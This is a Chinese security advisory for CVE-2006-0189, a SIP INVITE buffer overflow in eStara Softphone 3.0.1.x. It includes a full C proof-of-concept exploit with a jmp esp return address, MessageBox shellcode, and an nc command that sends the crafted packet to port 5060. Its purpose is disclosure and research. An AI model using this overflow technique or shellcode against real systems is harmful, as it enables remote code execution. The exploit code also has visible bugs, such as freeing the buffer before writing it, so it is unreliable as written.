安全研究
安全漏洞
eStara Softphone SIP SDP请求远程缓冲区溢出漏洞
发布日期：2006-01-12
更新日期：2006-01-12
受影响系统：
eStara Softphone 3.0.1.46描述：
eStara Softphone 3.0.1.14
BUGTRAQ ID: 16213
CVE(CAN) ID: CVE-2006-0189
eStara Softphone是一款基于SIP（Session Initiation Protocol）的VoIP网络电话软件。
eStara Softphone的客户端实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞在服务器上执行任意指令。
eStara Softphone的客户端处理带超长参数串的INVITE指令时存在溢出，攻击者可以利用此漏洞执行溢出攻击，从而在服务器上执行指令。
<*来源：ZwelL （zwell@sohu.com）
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
/***************************************
eStara Softphone buffer overflow exploit
tested on :
eStara Softphone 3.0.1.14
||||||
eStara Softphone 3.0.1.46
Vender website : http://www.estara.com/softphone/softph.exe
Run this application, then use nc to send builded packet :
nc -u 127.0.0.1 5060 <sip_overflow_exploit.dat
It will display a "hack" dialogbox in the target if it runs softphone.
Author : ZwelL
Mail : zwell@sohu.com
WebSite : http://www.donews.net/zwell
Data : 2006.01.11
**************************************/
#include <windows.h>
#include <stdio.h>
unsigned char invite[] = {
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};
unsigned char jmpesp[] ={ //jmpesp=0x7ffa4512;
0x12, 0x45, 0xfa, 0x7f
};
unsigned char end[] = {
0x32, 0x33, 0x34, 0x35, 0x36,
0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32,
0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38,
0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34,
0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30,
0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x3A, 0x30, 0x20, 0x50, 0x43, 0x4D, 0x55, 0x2F,
0x38, 0x30, 0x30, 0x30, 0x0D, 0x0A
};
unsigned char scode[] =
"\xB8"
"\x75\xC1\xe4\x88" //Address of MessageBoxA + 0x11111111
"\x2D\x11\x11\x11\x11\x50\x59\x33\xc0\x50\x68"
"\x68\x61\x63\x6b" //"hack"
"\x54\x5a\x50\x52\x52\x50\x53\x51\xc3";
//Shellcode:
//B8 75C1e488 MOV EAX,88e4C175 ; MessageBoxA + 0x11111111 to
//2D 11111111 SUB EAX,11111111 ; Make characters readable
//50 PUSH EAX ; xchg registers : eax = 77D3b064
//59 POP ECX ; Offset to API.
//33C0 XOR EAX,EAX ; Create Null
//50 PUSH EAX ; Put ascii0 end of string
//68 6861636b PUSH 6b636168 ; Create string.= hack
//54 PUSH ESP ; Get the offset to the
//5A POP EDX ; Message String
//MessageBox call
//50 PUSH EAX ; Null Pointer
//52 PUSH EAX ; Message
//52 PUSH EDX ; Message
//50 PUSH EAX ; Null Pointer
//53 PUSH EBX ; Return address: 0x00000000
//51 PUSH ECX ; Address of MessageBoxA
//C3 RETN ; Jump
int main()
{
FILE *stream;
unsigned char *exploitbuf;
int size;
char *filename = "sip_overbuf_exploit.dat";
DWORD msgboxaddr = (DWORD)MessageBoxA; //Windows XP EN SP2 MessageBoxA address = 0x77d6e824;
//If others, just change it;
size = sizeof(invite)+sizeof(jmpesp)+sizeof(end);
exploitbuf = (unsigned char *)malloc(size);
printf("exploitbuf len = %d\n", size);
memcpy(exploitbuf, invite, sizeof(invite));
memcpy(exploitbuf+sizeof(invite), jmpesp, sizeof(jmpesp));
memcpy(exploitbuf+sizeof(invite)+sizeof(jmpesp), end, sizeof(end));
*(DWORD *)&scode[1] = msgboxaddr+0x11111111;
memcpy(exploitbuf+sizeof(invite)+sizeof(jmpesp), scode, sizeof(scode));
if( (stream = fopen( filename, "w+b" )) == NULL )
printf("Build File Error!!!\n");
else
printf("Build File %s successful! ^_^\n", filename);
free(exploitbuf);
fwrite( exploitbuf, size, 1, stream );
fclose(stream);
}
建议：
厂商补丁：
eStara
------
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http://www.estara.com/softphone/.
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